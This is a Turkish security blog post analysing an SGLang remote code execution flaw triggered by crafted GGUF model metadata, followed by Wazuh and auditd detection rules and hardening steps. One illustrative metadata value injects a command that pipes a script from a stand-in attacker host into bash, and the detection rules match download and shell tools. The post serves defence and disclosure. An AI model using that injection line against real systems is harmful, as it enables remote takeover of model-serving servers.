$title =

SGLang CVE-2026-5760 Ne Kadar Tehlikeli? RCE Analizi (2026)

;

$içerik = [

Evet, SGLang CVE-2026-5760 son derece tehlikeli. CVSS 9.8 puanlı bu RCE (Remote Code Execution) açığı, saldırganlara tek bir özel hazırlanmış GGUF model dosyası göndererek sunucunuzda keyfi komut çalıştırma imkânı tanıyor — kimlik doğrulama gerektirmiyor, ağ üzerinden sömürülebilir. Bu yazıda açığın teknik mekanizmasını, kimin gerçekten risk altında olduğunu ve Wazuh ile nasıl tespit edebileceğinizi adım adım ele alıyorum. 🛡️


SGLang Nedir ve Bu Açık Neden Kritik?

SGLang (Structured Generation Language), büyük dil modellerini yüksek performansla servis etmek için tasarlanmış açık kaynaklı bir çerçevedir. LLaMA, Mistral, Qwen gibi popüler modelleri production ortamında koşturmak isteyen ekipler arasında hızla yaygınlaşıyor; özellikle vLLM alternatifi olarak tercih ediliyor. Türkiye’deki fintech, sağlık ve savunma sektörlerinde “yerli AI” girişimlerinin yaygınlaşmasıyla bu tür servis katmanlarının kullanımı da artıyor.

CVE-2026-5760, SGLang’in GGUF formatındaki model dosyalarını yüklerken gerçekleştirdiği yetersiz girdi doğrulama sürecinden kaynaklanıyor. Teknik olarak bir command injection zafiyeti; yani saldırgan, model dosyasının metadata alanlarına işletim sistemi komutları gömerek SGLang sürecinin çalıştığı kullanıcı bağlamında bu komutların çalışmasını sağlayabiliyor. CVSS 9.8 puanı tesadüf değil: ağ üzerinden erişilebilir, düşük saldırı karmaşıklığı, kimlik doğrulama gerektirmiyor. Bu üçü bir arada gelince “kritik” kelimesi hafif bile kalıyor.

Benim gözümden kaçmayan nokta şu: GGUF formatı, model ağırlıklarını tek bir dosyada taşıyan ve giderek standartlaşan bir format. Hugging Face, Civitai veya benzeri platformlardan indirilen modeller büyük çoğunlukla GGUF olarak geliyor. Yani saldırı vektörü “güvenilir” görünen bir model indirme eylemiyle başlayabiliyor — klasik supply chain saldırısı mantığı, AI dünyasına uyarlanmış hali.


Açık Nasıl Çalışıyor? Teknik Analiz

GGUF dosya formatı, model metadatasını anahtar-değer çiftleri şeklinde başlık bloğunda saklar. SGLang bu başlıkları ayrıştırırken bazı string değerlerini doğrudan sistem çağrısı bağlamında kullanıyor. Saldırgan, meşru görünen bir GGUF dosyasını hazırlarken metadata alanlarından birine şu türde bir değer yerleştirebilir:

# Zararlı GGUF metadata örneği (kavramsal gösterim)
# general.name alanı manipüle edilerek komut enjeksiyonu:
general.name = "llama-3-8b; curl http://attacker.com/shell.sh | bash #"

# SGLang'in savunmasız versiyonunda bu değer doğrulama yapılmadan
# bir alt süreç çağrısına (subprocess / os.system) aktarılıyor.
# Sonuç: shell.sh uzak sunucudan çekilip çalıştırılıyor.

⚠️ Bu, özellikle tehlikeli çünkü model yükleme süreci çoğu zaman ayrıcalıklı bir servis hesabıyla çalışıyor. GPU sunucularında CUDA bağlamı nedeniyle root veya yüksek yetkili kullanıcılar tercih ediliyor; dolayısıyla RCE anında ayrıcalık yükseltmesi ihtiyacı bile ortadan kalkabiliyor.

MITRE ATT&CK Eşlemesi:

  • T1190 – Exploit Public-Facing Application (İlk erişim vektörü)
  • T1059.004 – Command and Scripting Interpreter: Unix Shell (Komut enjeksiyonu yürütme)
  • T1195.002 – Supply Chain Compromise: Compromise Software Supply Chain (Zararlı model dosyası dağıtımı)
  • T1105 – Ingress Tool Transfer (Uzak sunucudan payload çekme)

Bu Açık Kimin İçin Gerçekten Önemli?

Birçok kurum “biz SGLang kullanmıyoruz, bizi etkilemez” diyecek — belki haklılar. Ama şu senaryoları düşünün:

  • MLOps/AI platformu çalıştıran ekipler: Jupyter notebook ortamları, model registry’ler ve inferans sunucuları SGLang içeriyor olabilir. Özellikle platform ekipleri tam olarak neyin kurulu olduğunu her zaman bilmiyor.
  • GPU kümesi kiralayan bulut/HPC ortamları: Türkiye’deki birçok üniversite ve araştırma merkezi paylaşımlı GPU altyapısı kullanıyor. Tek bir kötü model dosyası tüm node’u tehlikeye atabilir.
  • Hugging Face mirror veya model marketplace operatörleri: Kullanıcı yüklenen GGUF dosyalarını herhangi bir analiz yapmadan servis ediyorsanız, sunucunuz bir tıklamayla ele geçirilebilir.
  • Docker/Kubernetes ortamında SGLang pod’u koşturanlar: Container izolasyonu sizi kurtarmaz; RCE container içinde gerçekleşir, oradan lateral movement başlar.

Kişisel gözlemlerim şunu söylüyor: Türkiye’de “yapay zeka projesi” başlatan ekiplerin büyük çoğunluğu model güvenliğini değil model doğruluğunu önceliklendiriyor. Güvenlik ekibi sürece dahil olmadan “hızlıca bir LLM API aç, test edelim” kararları alınıyor. CVE-2026-5760 tam da bu boşluğu hedef alıyor.


🔧 Wazuh ile Nasıl Tespit Edilir?

Wazuh kullanan ortamlarda bu açığa yönelik tespit katmanını birkaç farklı noktadan kurabilirsiniz. Ben kurumda genellikle şu üç katmanı kombine ediyorum:

1. FIM (File Integrity Monitoring) — GGUF dosya yükleme izleme:

<!-- ossec.conf - SGLang model dizini için FIM tanımı -->
<syscheck>
  <directories check_all="yes" realtime="yes" report_changes="yes">
    /opt/sglang/models
  </directories>
  <directories check_all="yes" realtime="yes" report_changes="yes">
    /home/ubuntu/.cache/huggingface/hub
  </directories>
  <!-- GGUF uzantılı dosyaları özellikle izle -->
  <nodiff>*.bin</nodiff>
</syscheck>

2. Özel Wazuh Kuralı — Şüpheli subprocess çağrılarını yakala:

<!-- local_rules.xml -->
<group name="sglang,rce,ai_security">

  <rule id="100500" level="12">
    <if_group>syslog</if_group>
    <match>sglang</match>
    <regex>subprocess|os\.system|shell=True|exec\(|eval\(|__import__</regex>
    <description>SGLang: Potansiyel komut enjeksiyonu - şüpheli subprocess/eval çağrısı tespit edildi</description>
    <mitre>
      <id>T1059.004</id>
      <id>T1190</id>
    </mitre>
  </rule>

  <rule id="100501" level="15">
    <if_sid>100500</if_sid>
    <match>curl|wget|bash|/tmp/|/dev/shm</match>
    <description>SGLang CVE-2026-5760: Yüksek Öncelik - RCE sonrası payload indirme/çalıştırma belirtisi</description>
    <mitre>
      <id>T1105</id>
      <id>T1059.004</id>
    </mitre>
  </rule>

</group>

3. Auditd entegrasyonu — SGLang process’inden doğan child process’leri izle:

# /etc/audit/rules.d/sglang-monitor.rules
# SGLang python process'inin başlattığı tüm exec çağrılarını logla
-a always,exit -F arch=b64 -S execve -F ppid!=1 \
  -F exe=/usr/bin/python3 -k sglang_exec_monitor

# /tmp ve /dev/shm altına dosya yazma girişimleri
-a always,exit -F arch=b64 -S openat -F dir=/tmp \
  -F success=1 -k suspicious_tmp_write

-a always,exit -F arch=b64 -S openat -F dir=/dev/shm \
  -F success=1 -k suspicious_shm_write

Bu kuralları Wazuh’a besleyince, model yükleme anında tetiklenen herhangi bir shell çağrısı veya ağ bağlantısı anında alert üretiyor. 📊 Biz test ortamımızda bu kuralların false positive oranını düşürmek için sglang process context’ini parent PID üzerinden filtreledik; üretim için o adımı da öneririm.


Ne Yapmalısınız? Acil Aksiyon Listesi

  • 🔴 SGLang versiyonunuzu derhal kontrol edin: pip show sglang komutuyla mevcut versiyonu öğrenin; CVE-2026-5760 için yayınlanan yamalı versiyona yükseltin.
  • ⚠️ Dışarıdan gelen GGUF dosyalarını karantinaya alın: Hugging Face veya harici kaynaklardan indirilen hiçbir model dosyasını doğrulama adımı olmadan yüklemeyin. Hash kontrolü ve metadata tarama adımı pipeline’a ekleyin.
  • 🔧 SGLang servisini minimum yetkiyle çalıştırın: Root veya sudo yetkili kullanıcı yerine ayrı, kısıtlı bir servis hesabı oluşturun. systemd ile User=sglang ve NoNewPrivileges=true direktiflerini kullanın.
  • 🛡️ Network segmentasyonu uygulayın: SGLang sunucusunun internet çıkışını kısıtlayın. RCE gerçekleşse bile payload indirilmesini engellemek için egress firewall kuralı tanımlayın.
  • 📊 Wazuh FIM + auditd kurallarını devreye alın: Yukarıda paylaştığım kural setini ortamınıza uyarlayın ve model dizinlerini gerçek zamanlı izlemeye açın.
  • 🔍 Mevcut model dosyalarını retrospektif tarayın: Ortamınızda hâlihazırda yüklü GGUF dosyaları varsa metadata alanlarını parse ederek anormal string pattern’leri kontrol edin.

❓ Sıkça Sorulan Sorular

SGLang CVE-2026-5760 gerçekten tehlikeli mi?

Evet, son derece tehlikeli. CVSS 9.8 “kritik” eşiğinin neredeyse zirvesi; ağ üzerinden sömürülebilir, kimlik doğrulama gerektirmez ve düşük saldırı karmaşıklığına sahiptir. Tek bir zararlı GGUF model dosyası sunucunuzda keyfi komut çalıştırmaya yetiyor. Yama uygulamak için “gelecek sprint” bekleme lüksünüz yok.

Hangi ortamlar risk altında?

SGLang’i model-serving olarak kullanan tüm ortamlar. Özellikle Hugging Face veya harici kaynaklardan otomatik GGUF indiren ML pipeline’lar, paylaşımlı GPU cluster’ları, “bring your own model” SaaS platformları ve root ya da ayrıcalıklı servis hesabıyla çalışan SGLang instance’ları öncelikli hedef. Docker/Kubernetes izolasyonu tek başına yeterli değil.

Bu açığı nasıl kapatabilirim?

Üç adım: (1) SGLang’i derhal yamalı sürüme yükseltin. (2) Dış kaynaklardan gelen GGUF dosyalarını karantinaya alın, SHA-256 hash doğrulaması ekleyin. (3) SGLang servisini least-privilege bir kullanıcıyla çalıştırın, internet egress’ini firewall ile kısıtlayın. Yama henüz gelmemişse SGLang’i geçici olarak servis dışı bırakmayı değerlendirin.

Wazuh ile nasıl tespit ederim?

Üç katmanlı izleme öneriyorum: (1) FIM ile model dizinlerini (/opt/sglang/models, ~/.cache/huggingface) gerçek zamanlı izleyin. (2) Custom rule ile SGLang process’inden doğan şüpheli subprocess ve eval çağrılarını yakalayın. (3) Auditd ile /tmp ve /dev/shm yazma girişimlerini loglayın. Bu yazıda üçünün hazır kod örneklerini paylaştım.


Son olarak şunu söylemek isterim: AI altyapı güvenliği artık “ileride bakacağız” kategorisinde değil. Model dosyaları yeni exploit delivery vektörü haline geliyor; tıpkı bir zamanlar PDF veya Office dosyalarının haline geldiği gibi. CVE-2026-5760 bu geçişin net bir işaretidir. Güvenlik ekipleri olarak LLM/AI servislerini tıpkı bir web uygulaması gibi — belki daha sıkı — izlememiz gerekiyor.

Orijinal kaynak: thehackernews.com


📚 İlgili Yazılar

];

$tarih =

;

$category =

,

;

Bir Cevap Yazın

Securtr sitesinden daha fazla şey keşfedin

Okumaya devam etmek ve tüm arşive erişim kazanmak için hemen abone olun.

Okumaya Devam Edin